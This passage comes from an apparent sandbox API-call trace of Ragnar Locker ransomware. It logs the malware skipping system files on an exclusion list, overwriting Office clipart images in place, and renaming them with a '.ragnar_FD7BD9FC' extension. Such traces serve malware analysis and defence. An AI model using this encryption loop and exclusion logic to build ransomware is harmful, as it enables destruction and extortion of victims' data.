returned 1 [0090.155] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.155] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.155] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.155] GetProcessHeap () returned 0x580000 [0090.155] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.155] CloseHandle (hObject=0xf4) returned 1 [0090.156] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02567J.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02567J.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02567J.JPG" [0090.156] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02567J.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02567J.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02567J.JPG.ragnar_FD7BD9FC" [0090.156] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02567J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02567j.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02567J.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02567j.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.156] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd929e00, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd929e00, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x639b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02736G.GIF", cAlternateFileName="")) returned 1 [0090.156] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.156] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PH02736G.GIF" | out: lpString1="PH02736G.GIF") returned="PH02736G.GIF" [0090.156] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736G.GIF") returned=".GIF" [0090.156] lstrcmpiW (lpString1="PH02736G.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0090.156] lstrcmpiW (lpString1="PH02736G.GIF", lpString2="autorun.inf") returned 1 [0090.156] lstrcmpiW (lpString1="PH02736G.GIF", lpString2="boot.ini") returned 1 [0090.156] lstrcmpiW (lpString1="PH02736G.GIF", lpString2="bootfont.bin") returned 1 [0090.156] lstrcmpiW (lpString1="PH02736G.GIF", lpString2="bootsect.bak") returned 1 [0090.157] lstrcmpiW (lpString1="PH02736G.GIF", lpString2="bootmgr") returned 1 [0090.157] lstrcmpiW (lpString1="PH02736G.GIF", lpString2="bootmgr.efi") returned 1 [0090.157] lstrcmpiW (lpString1="PH02736G.GIF", lpString2="bootmgfw.efi") returned 1 [0090.157] lstrcmpiW (lpString1="PH02736G.GIF", lpString2="desktop.ini") returned 1 [0090.157] lstrcmpiW (lpString1="PH02736G.GIF", lpString2="iconcache.db") returned 1 [0090.157] lstrcmpiW (lpString1="PH02736G.GIF", lpString2="ntldr") returned 1 [0090.157] lstrcmpiW (lpString1="PH02736G.GIF", lpString2="ntuser.dat") returned 1 [0090.157] lstrcmpiW (lpString1="PH02736G.GIF", lpString2="ntuser.dat.log") returned 1 [0090.157] lstrcmpiW (lpString1="PH02736G.GIF", lpString2="ntuser.ini") returned 1 [0090.157] lstrcmpiW (lpString1="PH02736G.GIF", lpString2="thumbs.db") returned -1 [0090.157] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0090.157] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0090.157] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0090.157] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0090.157] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0090.157] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0090.157] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0090.157] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02736g.gif")) returned 0x20 [0090.157] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02736g.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.158] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=25499) returned 1 [0090.158] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6392, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.158] GetProcessHeap () returned 0x580000 [0090.158] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.158] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.159] VirtualAlloc (lpAddress=0x0, dwSize=0x639b, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.159] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.159] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.159] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x639b, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x639b, lpOverlapped=0x0) returned 1 [0090.161] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.161] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x639b, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.161] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x639b, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x639b, lpOverlapped=0x0) returned 1 [0090.161] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x639b, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.161] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.161] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x639b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.161] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.161] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.162] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.162] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.162] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.162] GetProcessHeap () returned 0x580000 [0090.162] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.162] CloseHandle (hObject=0xf4) returned 1 [0090.162] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736G.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736G.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736G.GIF" [0090.162] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736G.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736G.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736G.GIF.ragnar_FD7BD9FC" [0090.162] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02736g.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736G.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02736g.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.165] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x924cca00, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x924cca00, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x7e90, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02736U.BMP", cAlternateFileName="")) returned 1 [0090.165] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.165] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PH02736U.BMP" | out: lpString1="PH02736U.BMP") returned="PH02736U.BMP" [0090.165] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736U.BMP") returned=".BMP" [0090.165] lstrcmpiW (lpString1="PH02736U.BMP", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0090.165] lstrcmpiW (lpString1="PH02736U.BMP", lpString2="autorun.inf") returned 1 [0090.165] lstrcmpiW (lpString1="PH02736U.BMP", lpString2="boot.ini") returned 1 [0090.165] lstrcmpiW (lpString1="PH02736U.BMP", lpString2="bootfont.bin") returned 1 [0090.165] lstrcmpiW (lpString1="PH02736U.BMP", lpString2="bootsect.bak") returned 1 [0090.165] lstrcmpiW (lpString1="PH02736U.BMP", lpString2="bootmgr") returned 1 [0090.165] lstrcmpiW (lpString1="PH02736U.BMP", lpString2="bootmgr.efi") returned 1 [0090.165] lstrcmpiW (lpString1="PH02736U.BMP", lpString2="bootmgfw.efi") returned 1 [0090.165] lstrcmpiW (lpString1="PH02736U.BMP", lpString2="desktop.ini") returned 1 [0090.165] lstrcmpiW (lpString1="PH02736U.BMP", lpString2="iconcache.db") returned 1 [0090.165] lstrcmpiW (lpString1="PH02736U.BMP", lpString2="ntldr") returned 1 [0090.165] lstrcmpiW (lpString1="PH02736U.BMP", lpString2="ntuser.dat") returned 1 [0090.165] lstrcmpiW (lpString1="PH02736U.BMP", lpString2="ntuser.dat.log") returned 1 [0090.165] lstrcmpiW (lpString1="PH02736U.BMP", lpString2="ntuser.ini") returned 1 [0090.165] lstrcmpiW (lpString1="PH02736U.BMP", lpString2="thumbs.db") returned -1 [0090.165] lstrcmpiW (lpString1=".BMP", lpString2=".db") returned -1 [0090.165] lstrcmpiW (lpString1=".BMP", lpString2=".sys") returned -1 [0090.165] lstrcmpiW (lpString1=".BMP", lpString2=".dll") returned -1 [0090.165] lstrcmpiW (lpString1=".BMP", lpString2=".lnk") returned -1 [0090.165] lstrcmpiW (lpString1=".BMP", lpString2=".msi") returned -1 [0090.165] lstrcmpiW (lpString1=".BMP", lpString2=".drv") returned -1 [0090.165] lstrcmpiW (lpString1=".BMP", lpString2=".exe") returned -1 [0090.166] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02736u.bmp")) returned 0x20 [0090.166] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02736u.bmp"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.166] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=32400) returned 1 [0090.166] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7e87, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.166] GetProcessHeap () returned 0x580000 [0090.166] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.166] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.167] VirtualAlloc (lpAddress=0x0, dwSize=0x7e90, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.168] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.168] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.168] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7e90, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x7e90, lpOverlapped=0x0) returned 1 [0090.169] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.169] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7e90, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.169] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7e90, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x7e90, lpOverlapped=0x0) returned 1 [0090.169] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7e90, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.169] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.170] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7e90, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.170] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.170] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.170] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.170] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.170] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.170] GetProcessHeap () returned 0x580000 [0090.170] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.170] CloseHandle (hObject=0xf4) returned 1 [0090.170] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736U.BMP" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736U.BMP") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736U.BMP" [0090.170] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736U.BMP", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736U.BMP.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736U.BMP.ragnar_FD7BD9FC" [0090.170] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02736u.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736U.BMP.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02736u.bmp.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.171] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88c36200, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x88c36200, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x8118, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02738U.BMP", cAlternateFileName="")) returned 1 [0090.171] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.171] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PH02738U.BMP" | out: lpString1="PH02738U.BMP") returned="PH02738U.BMP" [0090.171] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02738U.BMP") returned=".BMP" [0090.172] lstrcmpiW (lpString1="PH02738U.BMP", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0090.172] lstrcmpiW (lpString1="PH02738U.BMP", lpString2="autorun.inf") returned 1 [0090.172] lstrcmpiW (lpString1="PH02738U.BMP", lpString2="boot.ini") returned 1 [0090.172] lstrcmpiW (lpString1="PH02738U.BMP", lpString2="bootfont.bin") returned 1 [0090.172] lstrcmpiW (lpString1="PH02738U.BMP", lpString2="bootsect.bak") returned 1 [0090.172] lstrcmpiW (lpString1="PH02738U.BMP", lpString2="bootmgr") returned 1 [0090.172] lstrcmpiW (lpString1="PH02738U.BMP", lpString2="bootmgr.efi") returned 1 [0090.172] lstrcmpiW (lpString1="PH02738U.BMP", lpString2="bootmgfw.efi") returned 1 [0090.172] lstrcmpiW (lpString1="PH02738U.BMP", lpString2="desktop.ini") returned 1 [0090.172] lstrcmpiW (lpString1="PH02738U.BMP", lpString2="iconcache.db") returned 1 [0090.172] lstrcmpiW (lpString1="PH02738U.BMP", lpString2="ntldr") returned 1 [0090.172] lstrcmpiW (lpString1="PH02738U.BMP", lpString2="ntuser.dat") returned 1 [0090.172] lstrcmpiW (lpString1="PH02738U.BMP", lpString2="ntuser.dat.log") returned 1 [0090.172] lstrcmpiW (lpString1="PH02738U.BMP", lpString2="ntuser.ini") returned 1 [0090.172] lstrcmpiW (lpString1="PH02738U.BMP", lpString2="thumbs.db") returned -1 [0090.172] lstrcmpiW (lpString1=".BMP", lpString2=".db") returned -1 [0090.172] lstrcmpiW (lpString1=".BMP", lpString2=".sys") returned -1 [0090.172] lstrcmpiW (lpString1=".BMP", lpString2=".dll") returned -1 [0090.172] lstrcmpiW (lpString1=".BMP", lpString2=".lnk") returned -1 [0090.172] lstrcmpiW (lpString1=".BMP", lpString2=".msi") returned -1 [0090.172] lstrcmpiW (lpString1=".BMP", lpString2=".drv") returned -1 [0090.172] lstrcmpiW (lpString1=".BMP", lpString2=".exe") returned -1 [0090.172] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02738U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02738u.bmp")) returned 0x20 [0090.172] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02738U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02738u.bmp"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.173] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=33048) returned 1 [0090.173] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x810f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.173] GetProcessHeap () returned 0x580000 [0090.173] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.173] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.174] VirtualAlloc (lpAddress=0x0, dwSize=0x8118, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.174] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.174] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.174] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x8118, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x8118, lpOverlapped=0x0) returned 1 [0090.175] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.176] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8118, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.176] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x8118, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x8118, lpOverlapped=0x0) returned 1 [0090.176] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8118, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.176] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.176] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8118, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.177] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.177] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.177] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.177] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.177] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.177] GetProcessHeap () returned 0x580000 [0090.177] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: 